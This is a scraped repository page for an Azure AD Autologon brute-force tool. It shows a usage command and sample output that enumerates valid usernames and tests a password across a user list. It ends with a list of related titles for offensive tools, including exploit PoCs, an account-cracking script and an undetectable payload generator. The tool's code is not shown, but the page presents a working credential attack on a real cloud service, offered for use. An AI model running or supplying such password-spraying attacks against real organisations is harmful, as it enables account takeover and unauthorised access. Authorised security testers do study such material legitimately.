AzureAD_Autologon_Brute

Brute force attack tool for Azure AD Autologon

https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

Usage:
python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

Brute force attack tool for Azure AD Autologon/Seamless SSO

Related tags

Overview

AzureAD_Autologon_Brute

Owner

nyxgeek

CVE-2021-26855: PoC (Not a HoneyPoC for once!)

Denial Attacks by Various Methods

Scan Site - Tools For Scanning Any Site and Get Site Information

DepFine Is a tool to find the unregistered dependency based on dependency confusion valunerablility and lead to RCE

Script Crack Facebook Premium 🚶‍♂

Port scanner tool with easy installation

PyFUD - Fully Undetectable payload generator for metasploit

Compilation of resources and insights that helped me on my journey to data scientist

Vulnerability Scanner & Auto Exploiter You can use this tool to check the security by finding the vulnerability in your website or you can use this tool to Get Shells

A knockoff social-engineer toolkit

ClusterFuzz is a scalable fuzzing infrastructure that finds security and stability issues in software.

A security system to warn you when people enter your room 🎥

Cloud One Container Security Runtime Events Forwarder

The Multi-Tool Web Vulnerability Scanner.

This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798).

Ducky Script is the payload language of Hak5 gear.

Dependency injection in python with autoconfiguration

Tools ini digunakan untuk krekk pacebuk:v

I hacked my own webcam from a Kali Linux VM in my local network, using Ettercap to do the MiTM ARP poisoning attack, sniffing with Wireshark, and using metasploit

Python implementation of the diceware password generating algorithm.